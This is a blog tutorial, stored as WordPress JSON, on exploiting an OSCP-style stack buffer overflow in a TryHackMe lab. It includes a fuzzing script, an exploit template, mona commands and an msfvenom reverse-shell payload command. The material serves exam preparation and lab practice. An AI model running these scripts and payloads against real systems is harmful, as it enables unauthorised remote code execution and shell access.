{"id":140,"date":"2023-02-27T22:29:23","date_gmt":"2023-02-27T22:29:23","guid":{"rendered":"https:\/\/merrillnewman.tech\/?p=140"},"modified":"2023-02-27T22:31:11","modified_gmt":"2023-02-27T22:31:11","slug":"buffer-overflow-practice-for-oscp","status":"publish","type":"post","link":"https:\/\/merrillnewman.tech\/?p=140","title":{"rendered":"Buffer Overflow Practice For OSCP"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Overview<\/h3>\n\n\n\n<p>As part of the OSCP exam you may or may not have to perform a buffer overflow. Even without any security measures in place this can still be a daunting tasks for beginners. This article will not teach you from the ground up how to perform a buffer overflow but instead an easy methodology to follow for OSCP-like buffer overflows.<\/p>\n\n\n\n<!--more-->\n\n\n\n<h3 class=\"wp-block-heading\">Basic Process<\/h3>\n\n\n\n<p>An OSCP style buffer overflow can consistently be exploited by doing the following steps.<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Fuzzing to find the crash point<\/li>\n\n\n\n<li>Overwriting the EIP<\/li>\n\n\n\n<li>Finding bad characters<\/li>\n\n\n\n<li>Finding a jump point<\/li>\n\n\n\n<li>Packing in our shell code safely<\/li>\n\n\n\n<li>Exploiting<\/li>\n<\/ol>\n\n\n\n<p>I will be using the Buffer Overflow Prep room from TryHackMe for the example.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Finding The Crash Point<\/h3>\n\n\n\n<p>We can use this script to begin fuzzing the application.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/usr\/bin\/env python3\n\nimport socket, time, sys\n\nip = \"10.10.21.132\"\n\nport = 1337\ntimeout = 5\nprefix = \"OVERFLOW1 \"\n\nstring = prefix + \"A\" * 100\n\nwhile True:\n  try:\n    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n      s.settimeout(timeout)\n      s.connect((ip, port))\n      s.recv(1024)\n      print(\"Fuzzing with {} bytes\".format(len(string) - len(prefix)))\n      s.send(bytes(string, \"latin-1\"))\n      s.recv(1024)\n  except:\n    print(\"Fuzzing crashed at {} bytes\".format(len(string) - len(prefix)))\n    sys.exit(0)\n  string += 100 * \"A\"\n  time.sleep(1)<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"674\" height=\"936\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-29.png\" alt=\"\" class=\"wp-image-142\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-29.png 674w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-29-216x300.png 216w\" sizes=\"auto, (max-width: 674px) 100vw, 674px\" \/><figcaption class=\"wp-element-caption\">Fuzzing the application with the python script<\/figcaption><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Overwriting the EIP<\/h3>\n\n\n\n<p>Now that we know the crash point is at 2000 bytes, we can use another script as the base for our exploit.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import socket\n\nip = \"10.10.21.132\"\nport = 1337\n\nprefix = \"OVERFLOW1 \"\noffset = 0\noverflow = \"A\" * offset\nretn = \"\"\npadding = \"\"\npayload = \"\"\npostfix = \"\"\n\nbuffer = prefix + overflow + retn + padding + payload + postfix\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ntry:\n  s.connect((ip, port))\n  print(\"Sending evil buffer...\")\n  s.send(bytes(buffer + \"\\r\\n\", \"latin-1\"))\n  print(\"Done!\")\nexcept:\n  print(\"Could not connect.\")<\/code><\/pre>\n\n\n\n<p>After saving this exploit script we can then create a pattern that&#8217;s 400 bytes longer using <\/p>\n\n\n\n<p><code>msf-pattern_create<\/code>.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msf-pattern_create -l 2400<\/code><\/pre>\n\n\n\n<p>After adding the created pattern to the <code>payload<\/code> variable of our exploit script we can run it and it should crash again. Once it crashes we can use mona to find the EIP offset using this command.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>!mona findmsp -distance 2400<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"814\" height=\"268\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-30.png\" alt=\"\" class=\"wp-image-144\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-30.png 814w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-30-300x99.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-30-768x253.png 768w\" sizes=\"auto, (max-width: 814px) 100vw, 814px\" \/><figcaption class=\"wp-element-caption\">Finding the EIP offset using mona<\/figcaption><\/figure>\n\n\n\n<p>As we can see in the output, mona found the EIP at offset 1978, we can update the <code>offset<\/code> variable in our exploit script to 1978 and set the <code>retn<\/code> variable to BBBB to test our ability to overwrite the EIP.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"458\" height=\"284\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-31.png\" alt=\"\" class=\"wp-image-145\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-31.png 458w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-31-300x186.png 300w\" sizes=\"auto, (max-width: 458px) 100vw, 458px\" \/><figcaption class=\"wp-element-caption\">Update variables to test ability to overwrite EIP<\/figcaption><\/figure>\n\n\n\n<p>After running our updated exploit script we should see EIP overwritten with &#8220;BBBB&#8221;.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"214\" height=\"102\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-32.png\" alt=\"\" class=\"wp-image-146\"\/><figcaption class=\"wp-element-caption\">Overwritten EIP<\/figcaption><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Finding Bad Characters<\/h3>\n\n\n\n<p>Now that we can overwrite the EIP we can work on finding bad characters. We can use mona to generate a byte array (excluding null as it is nearly always a bad character).<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>!mona bytearray -b \"\\x00\"<\/code><\/pre>\n\n\n\n<p>After generating the byte array with mona we can use this python script to generate an identical one.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>for x in range(1, 256):\n  print(\"\\\\x\" + \"{:02x}\".format(x), end='')\nprint()<\/code><\/pre>\n\n\n\n<p>Now we can replace the payload variable in our exploit script with the byte array we just generated. Once the the program crashes we can use mona to start weeding out bad characters.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>!mona compare -f C:\\mona\\oscp\\bytearray.bin -a &lt;ESP address><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"860\" height=\"232\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-33.png\" alt=\"\" class=\"wp-image-147\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-33.png 860w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-33-300x81.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-33-768x207.png 768w\" sizes=\"auto, (max-width: 860px) 100vw, 860px\" \/><figcaption class=\"wp-element-caption\">Finding bad characters with mona<\/figcaption><\/figure>\n\n\n\n<p>Note that all of these might not be bad characters, bad characters may corrupt the next byte or in some cases the rest of the string. With this in mind the bytes I&#8217;d start to remove are <code>07<\/code>, <code>2e<\/code> and <code>a0<\/code>. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Finding a Jump Point<\/h3>\n\n\n\n<p>Now that we now which characters are bad we can look for a <code>JMP ESP<\/code> instruction that doesn&#8217;t contain bad characters using mona.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>!mona jmp -r esp -cpb \"\\x00\\x07\\x2e\\xa0\"<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"271\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-34-1024x271.png\" alt=\"\" class=\"wp-image-149\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-34-1024x271.png 1024w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-34-300x79.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-34-768x203.png 768w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-34.png 1170w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Finding JMP ESP instructions using mona<\/figcaption><\/figure>\n\n\n\n<p>Choose one of these addresses and update the retn variable of the exploit script with it. We put the address in backwards in our code since the system is little-endian.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"524\" height=\"328\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-35.png\" alt=\"\" class=\"wp-image-150\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-35.png 524w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-35-300x188.png 300w\" sizes=\"auto, (max-width: 524px) 100vw, 524px\" \/><figcaption class=\"wp-element-caption\">Updated retn <\/figcaption><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Inserting Payload<\/h3>\n\n\n\n<p>The next step is to generate our payload and insert it into our buffer, we can use msfvenom to create the payload.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msfvenom -p windows\/shell_reverse_tcp LHOST=10.13.2.65 LPORT=4444 EXITFUNC=thread -b \"\\x00\\x07\\x2e\\xa0\" -f c<\/code><\/pre>\n\n\n\n<p>Since an encoder was likely used to generate our payload we will need space in memory for it to unpack itself, we will change the <code>padding<\/code> variable to add some nops before our payload. Once everything is in place our exploit should look something like this.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1012\" height=\"1024\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-36-1012x1024.png\" alt=\"\" class=\"wp-image-151\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-36-1012x1024.png 1012w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-36-297x300.png 297w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-36-768x777.png 768w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-36.png 1396w\" sizes=\"auto, (max-width: 1012px) 100vw, 1012px\" \/><figcaption class=\"wp-element-caption\">Complete exploit<\/figcaption><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Exploit<\/h3>\n\n\n\n<p>With everything in place all we need to do is set up a listener and run the exploit.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"688\" height=\"162\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-37.png\" alt=\"\" class=\"wp-image-152\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-37.png 688w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-37-300x71.png 300w\" sizes=\"auto, (max-width: 688px) 100vw, 688px\" \/><figcaption class=\"wp-element-caption\">Running exploit<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"403\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-38-1024x403.png\" alt=\"\" class=\"wp-image-153\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-38-1024x403.png 1024w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-38-300x118.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-38-768x302.png 768w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/02\/image-38.png 1292w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Catching the shell<\/figcaption><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">References<\/h3>\n\n\n\n<p><a href=\"https:\/\/tryhackme.com\/room\/bufferoverflowprep\">https:\/\/tryhackme.com\/room\/bufferoverflowprep<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview As part of the OSCP exam you may or may not have to perform a buffer overflow. Even without any security measures in place this can still be a daunting tasks for beginners. This article will not teach you from the ground up how to perform a buffer overflow but instead an easy methodology [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":157,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"hide_page_title":"","_coblocks_attr":"","_coblocks_dimensions":"","_coblocks_responsive_height":"","_coblocks_accordion_ie_support":"","_mi_skip_tracking":false,"footnotes":""},"categories":[6],"tags":[],"class_list":["post-140","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-windows"],"_links":{"self":[{"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=\/wp\/v2\/posts\/140","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=140"}],"version-history":[{"count":7,"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=\/wp\/v2\/posts\/140\/revisions"}],"predecessor-version":[{"id":158,"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=\/wp\/v2\/posts\/140\/revisions\/158"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=\/wp\/v2\/media\/157"}],"wp:attachment":[{"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=140"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=140"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=140"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}